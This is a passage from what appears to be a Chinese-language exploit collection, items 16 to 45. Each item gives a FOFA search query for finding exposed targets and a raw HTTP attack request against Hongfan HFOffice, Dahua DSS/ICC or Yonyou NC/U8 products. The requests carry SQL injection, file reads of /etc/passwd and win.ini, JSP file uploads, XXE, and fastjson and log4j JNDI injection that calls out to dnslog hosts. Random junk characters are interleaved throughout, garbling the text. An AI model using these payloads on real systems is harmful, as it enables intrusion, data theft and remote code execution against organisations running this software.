) B- S& Q- P5 b: A' O' Q" H0 EHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
- U$ @9 p9 j$ `Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
' [- L; F5 _7 y; A" b) a. [" o! ]0 g. S' kAccept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip


16.  红帆HFOffice医微云SQL注入
# [& x! Z; F" ?6 H1 A- ~FOFA：title="HFOffice"
# o8 B) @, k8 A* u( ]& fpoc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
5 L8 e7 F4 G1 OUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
0 i! a/ a" P! {! OConnection: close
Accept: */*
Accept-Language: en
* G8 H- i- j3 }, v  K9 c% n* JAccept-Encoding: gzip
- o' Y. i0 J, l/ [

17. 大华 DSS itcBulletin SQL 注入
0 s( y4 J4 v" g, R! SFOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
& \! c. N" J; `) F( }$ Y% EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 _: e# F" t, S$ h, P8 S! J. dConnection: close
Content-Length: 345
Accept-Encoding: gzip

, p3 [7 y2 w! j<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
" K# x, ~" p4 N    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
& z/ ^9 s. b8 b/ [1 y7 m       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
" Q: @5 @) D7 H/ d, e0 q4 ^% ?( L      </netMarkings>
. W$ M" t% l; C9 J1 j    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>
- e. j) R% p0 j) J: \

$ I& B! [2 P, t( M# N18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
+ T4 s5 b/ F4 w; MFOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
* w* e- j/ v& `. z2 eHost: your-ip
2 V  G* E8 W4 ^- `% d0 l8 ?+ |, XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
7 G% _  N$ S+ ^
7 k9 C# u* z9 `0 ~# E) n

. M$ k, I6 j( |" c4 {+ p9 c19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
+ R" Q5 H( M" K0 Y/ ~0 F: \FOFA：app="dahua-DSS"
& v( d2 u5 h+ s9 i+ a- u3 OGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
1 _1 K# @) g. R- A0 T+ wUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
: B; P% ~# ^& v* BAccept-Encoding: gzip, deflate
# ?& j6 Z- }0 z- z+ R  |6 UAccept: */*
5 V: v4 R) Q/ F+ T- LConnection: keep-alive


20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
- j$ N" r9 |$ @$ wGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
8 i: ^7 S4 u$ J6 MHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
3 J: F+ e. B* p& _Accept: */*
) u3 W9 }0 v- {Accept-Language: en
Accept-Encoding: gzip


% D+ q; j9 ^' q( k  N7 p4 [8 ^21. 大华ICC智能物联综合管理平台random远程代码执行
8 s# Y6 T& D6 D4 B6 ^$ B7 O, TFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
7 \& u# B9 C4 }+ ?Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 Z# m, Y' D, G, O; u# ~Content-Length: 161
$ Z" |* f4 D, U* q. ], n- OAccept-Encoding: gzip
Connection: close
- x4 m2 x7 i, K6 U! YContent-Type: application/json;charset=utf-8
0 |$ y* H0 K8 N% T( D
8 Z5 X7 r6 @0 Q& g) Y{
6 u1 T, Q0 P9 W: Q+ }"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
9 h3 ^8 L+ Z, g' Z    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
4 f1 G- H! ^& m* \3 R  }""
# j* {$ |* }- `$ m}


! ^; V& N1 w0 q5 G! Z0 e22. 大华ICC智能物联综合管理平台 log4j远程代码执行
3 h! i+ n3 e, dFOFA：icon_hash="-1935899595"
- L1 a+ K, O  g3 x6 ^0 S. ePOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
0 ?0 ~8 Y' a% DHost: your-ip
( V0 F7 F6 k+ N' bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
$ `# X- V, N+ B3 i- k. xContent-Type: application/json;charset=utf-8

{
"loginName":"${jndi:ldap://dnslog}"
% ^" b8 h' s+ J  |4 H}
) ^! s9 T2 b$ A/ A
9 L$ X1 X+ Q/ B% Y, K  J7 e/ l
: c& _5 q; a( ~$ P; M
. }( c4 \& r- f& y: H6 g2 o23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
- L7 E- c; b1 x4 F- t( f$ yHost: your-ip
+ S! ]  {4 a4 H& wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close

% w& {: K4 d% S* Z: \{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
; @' h/ J. F* P5 f: T       {"@type":"java.net.URL","val":"http://DNSLOG"}
7 _9 [' _1 m1 P8 \/ t/ ~        }""
}


24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
# G  l  [1 b" i3 u. U2 V+ oHost: x.x.x.x
( K8 B  u4 A& V6 h3 A) MUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
7 ^9 w' ^1 _8 i) Z/ c2 _" VContent-Length: 449
Accept: */*
. I+ z, S; \' fAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
) |7 w5 d+ R( }# r
* |! O0 P1 R+ `  V0 ]' I5 ~-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
2 S9 |! P. b( T: P9 n0 w3 [Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
3 u  |7 X& h. |5 t
4 g4 [& d2 }, p- r* P<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
! g! Q4 s! T( H4 B8 m-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

4 v, F& T& n* C  o8 X\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
5 e" W+ w: ?$ m+ Z# t-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
9 E# s% p# A" H; [$ M$ x0 h/ }
+ C# }5 o3 i# o) f9 l7 V8 c
25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
- p4 x' X8 E4 t( \* o& `: ]5 HAccept-Encoding: gzip, deflate
; V7 P* g- `2 f# Z$ FAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
' @# ~/ A0 ^2 k8 R0 ZContent-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog

! |) Q" C9 g; g1 ~9 X+ U: K+ w, h

2 `' |+ n/ r% j/ }3 S! C+ L9 a26. 用友NC linkVoucher SQL注入
+ {9 @1 F; |( J: R% Y3 r+ ZFOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) Y6 X; L3 y2 G; mContent-Type: application/x-www-form-urlencoded
1 g+ o0 b/ V* _8 B& _% O; @5 c- g& ?Accept-Encoding: gzip, deflate
$ l( o- H( `$ q5 T$ R' GAccept: */*
Connection: keep-alive
6 a6 w: K' v5 e- t4 Y5 I' _% ]
7 D7 G2 w# m8 x: ^9 s( ~
$ j2 v$ [$ Q( ?/ E0 v8 y27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
+ K0 b: z. q& t$ D# B" sGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
Connection: close
& B3 Z* E. H7 W# ?& Z, c" CContent-Type: text/xml; charset=utf-8

5 B! d0 B2 K5 ]$ l8 R8 P
28. 用友NC grouptemplet 任意文件上传
  f# ^$ Y/ D) a+ AFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
0 ~0 m: ^8 [5 ]% l3 N, IContent-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
$ V. H% ~* U: S/ N9 w; UAccept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
* G( t0 p+ p  k% w' }+ H9 qContent-Type: application/octet-stream
1 _; e+ g: B9 D( n; s5 J3 q) w" z
0 e: u) R7 t' ^: }3 [7 T<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
9 M' c! m; m6 ]------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--


* |+ k) n9 O) c/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
) S" G' a$ B; n3 a; u# x" EHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
9 p# g- I" j* I  h! }( V( cContent-Type: application/x-www-form-urlencoded
$ ?$ G# A% ?& C) Y" T$ UAccept-Encoding: gzip, deflate
! T7 l* H# b! _" R2 OAccept: */*
2 |: f- L: r1 f8 b4 o7 a. EConnection: keep-alive
" Z' w. N  F: ?7 `
, j1 R1 ]4 X( i/ f5 c
30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
0 J! J4 c+ d- T3 y7 Z# KConnection: close
) u1 X  L  {- \/ x
------WebKitFormBoundaryH970hbttBhoCyj9V
7 h' ~  @2 U( i4 PContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
' E. {# f1 C1 q: F  _6 zContent-Type: image/jpeg
# l. y$ W+ |1 o: v------WebKitFormBoundaryH970hbttBhoCyj9V--
$ j" _+ S' \. V, t4 @4 ]

% H2 u) b) P' L31. 用友NC runStateServlet SQL注入
$ I) S$ U- {5 P' i) l, Y' U/ Jversion<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
/ {/ h  u2 k: d8 U& t) QGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
% J& H4 G2 ]2 D3 E' A- QHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded


1 H1 ^1 V# a' X% w! p9 D/ f32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
0 l3 C7 B1 e/ z& PHost: your-ip
; R2 n8 P9 E* ^2 `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
; ~6 j2 x* r. |0 T4 K7 f% rAccept-Encoding: gzip, deflate
) V. h' R: G5 Q" n5 d5 t4 F5 ^Accept: */*
) s5 e1 j* j$ W3 iConnection: keep-alive
" X- [: {8 e6 u* P  S. T  P
& p: W2 [! n& n6 {( a
33. 用友NC downTax/download SQL注入
1 n/ _3 D# k) v9 i% s/ d4 P8 G' R9 Mversion：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
# h% f, _' S! R9 x6 }Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


+ Z, Y9 D8 I2 J* Y9 \7 [34. 用友NC warningDetailInfo接口SQL注入
  i; A) ^$ L2 r9 P: [+ v0 HFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% @. a9 H" p& [4 ]* FContent-Type: application/x-www-form-urlencoded
( n) l) K4 \9 O4 W& S3 e& ~- NAccept-Encoding: gzip, deflate
Accept: */*
# s' m2 p3 w- f2 s. DConnection: keep-alive
6 {) }$ Y) G: N9 T( r- C/ ~0 Z* D

35. 用友NC-Cloud importhttpscer任意文件上传
# @/ D6 K. J# z( pFOFA：app="用友-NC-Cloud"
" r( P- E. k. e4 ~* ?POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
2 G7 _# _5 ]5 C2 G: u2 \  SHost: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
; w/ Q, Z! ?+ ^, g# `" cAccept-Encoding: gzip, deflate
5 h- A; V+ l& x$ ?1 M$ k- F( w" CAccept: */*
$ j8 e) }) W9 p' ?7 g& cConnection: close
' }2 R6 q9 j" G0 Z3 ?( x' K8 RaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
. {" F) X5 f. k; @( K$ O" T6 W
--fd28cb44e829ed1c197ec3bc71748df0
8 [( S0 R# M5 i2 d+ gContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
0 i3 q4 M4 L/ V
6 s6 ^+ a" B0 V8 U" Y<%out.println(1111*1111);%>
# a% \; s2 X2 u. w$ \6 D* R--fd28cb44e829ed1c197ec3bc71748df0--

- Z$ ?3 R* j8 Y$ @. P
$ Z5 \) x, k8 }/ b36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
6 X1 y, ?* ]( t# q7 l; MPOST /uapws/soapFormat.ajax HTTP/1.1
% q, W* C/ H, {) C* Z# ?; B4 BHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
" V% @# c$ H+ g0 a7 C$ I2 a0 bContent-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
8 [& s% e5 [" g6 i( hAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* {5 m6 i6 r% b& j+ Y, K. XConnection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

" k5 D3 f$ B$ k7 T# h; gmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
: W/ k& U7 Q, f" ^
/ G8 ~: x; |: y
37. 用友NC-Cloud IUpdateService XXE
& Y  H  {+ l0 L; jFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
' _( a6 M+ R1 T# e7 j( ~POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
& J8 b& W7 a7 i( P# [Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
: \- }! o/ m* _2 v& c+ z6 Z8 v/ ZAccept-Encoding: gzip, deflate
9 t8 Y6 S: M5 `* ~/ uAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
7 V/ S3 c% _9 I/ ?" QSOAPAction: urn:getResult
3 @0 I% B$ h9 V7 X8 \/ F& `Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
4 [' `$ E( {! x) ^' k* {- b7 G7 k<soapenv:Header/>
- v' z: [/ a& Y0 S+ k<soapenv:Body>
<iup:getResult>
+ B0 ~, f( o) b) V) D) o8 W( r7 {<!--type: string-->
<iup:string><![CDATA[
" g. H4 g/ P7 X<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
; P; Z. n9 B/ z: S</iup:getResult>
1 h6 e$ }1 `3 {9 D4 R</soapenv:Body>
</soapenv:Envelope>


- X% G) A; K8 [* I. A
38. 用友U8 Cloud smartweb2.RPC.d XXE
" v8 {* s1 \* |9 X; P* hFOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
2 N* M' w% t& G3 n, `+ L6 DHost: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
8 Q! w$ l5 _& |4 K4 F/ q0 `Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
7 z- b' [  E0 @  I; KAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
  k! m2 c( D. RContent-Type: application/x-www-form-urlencoded
% X' I5 E- M+ `2 T
# `0 ]% K- }/ ]8 \! w) i__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
4 G, e/ w9 L% X: E1 F% W7 y

$ z4 m& K- i; Y# J39. 用友U8 Cloud RegisterServlet SQL注入
$ u- E6 U/ f& I" y( y  ^FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
, H& E9 [* g" x8 V2 A8 |  fConnection: close
+ T7 \, ]* o! F3 UContent-Length: 85
+ L' a* S  Q( C0 C- ~+ M" h& WAccept: */*
/ d. [* O* ?4 _/ k; h4 ^5 W, [# lAccept-Language: en
0 m- J* J2 S& r( W  r  }Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

7 b0 J% R# R* ~. J: eusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
6 u& U* b9 Y  s7 k4 d# a& R

  V" ~% \6 Q* B/ r4 U- l4 l  n  d8 ^40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
3 S* Q# v% F: i% K& pPOST /service/XChangeServlet HTTP/1.1
( Z+ Q9 j( s) [% ^0 N' q" nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
4 M  v: q. E/ O' h" c# mContent-Type: text/xml
$ S. @0 g7 S$ N+ X1 jConnection: close

4 w7 |0 X6 F! h+ a<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
/ @  @5 G1 W# _+ |2 ]6 g1 l

8 c' Y8 K) O9 _4 K/ |0 V41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
/ _( K2 t1 a" _8 I4 {FOFA：app="用友-U8-Cloud"
5 N" t4 F' F6 X1 I7 PGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
  }% q& i/ p% R0 b( Q- t- AHost:
# r: A" f* m7 m# RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
8 l5 x5 O7 ]' Y, M) uConnection: close
# i% x7 t( X) X7 [- ?) H
7 A7 K8 N; E) _& B
. y) O# ]& B, l5 U  L% i; Z, g( M42. 用友GRP-U8 SmartUpload01 文件上传
& b, j# a. C3 e- [  v# dFOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
" o4 X0 J  x& v- q5 yHost: x.x.x.x
/ {. @7 Y& I1 L* @Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

6 }( _' ^: h& W& o. C1 C' U: n$ Y0 c1 lPAYLOAD

& Y  G: P5 w/ l" Z
% X6 f( o  ~1 y7 dhttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
9 b& l) w6 P8 Y2 z. f- Y
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
* ]( P7 J  Z+ b  v1 f* QFOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
; O2 F0 H0 F" ]  ~# T; d7 p; LHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
, e' ~  N0 E( o; VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; H7 n8 K/ _6 }6 l/ W: E0 QAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& @5 ^) Y* w3 c  V4 bConnection: close
SOAPAction:
) }- V8 t& K4 eContent-Type: text/xml;charset=UTF-8
( O/ U  [4 s  s& w; ~. P4 N
* t# M0 m4 B  _" s. F- b<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
5 L" ]* B0 `' g! ~, q   <soapenv:Body>
  f8 X9 \' V4 h8 L/ b/ n% c      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
4 d, m1 F, M- W      </ser:getUserNameById>
! F0 R" T% ^/ w# R$ Z  ^5 r/ L   </soapenv:Body>
</soapenv:Envelope>

: Q- H$ X1 k6 C* ~: z# J; d
  R$ [3 U5 S! A, s% g44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
1 S2 ]1 t8 B' ]3 f; `% zGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
' M, B4 E4 \8 a  E9 P* m9 ], {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
! t& s. p2 c% |/ O8 |) j$ t  z' nAccept-Language: zh-CN,zh;q=0.9
6 \& A' I. w  i# }8 UConnection: close

8 K7 j8 Y1 L" T7 X. z  C+ v
45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
0 x0 {# v8 C, u" z2 ^% }# z! [4 ]Host: 192.168.40.130:222
1 V" c, f9 |' OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
0 z, |: k. ?  y" OConnection: close
' T6 M% Q7 H5 z7 a: o9 eContent-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' V+ |  ?: b) z8 B6 K+ c, AContent-Type: application/x-www-form-urlencoded
3 G& B! a: J1 hAccept-Encoding: gzip

reqData=<?xml version="1.0"?>
! n4 I  z$ w( s$ V, t  Z<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
* [$ v( p+ S0 x9 E- X

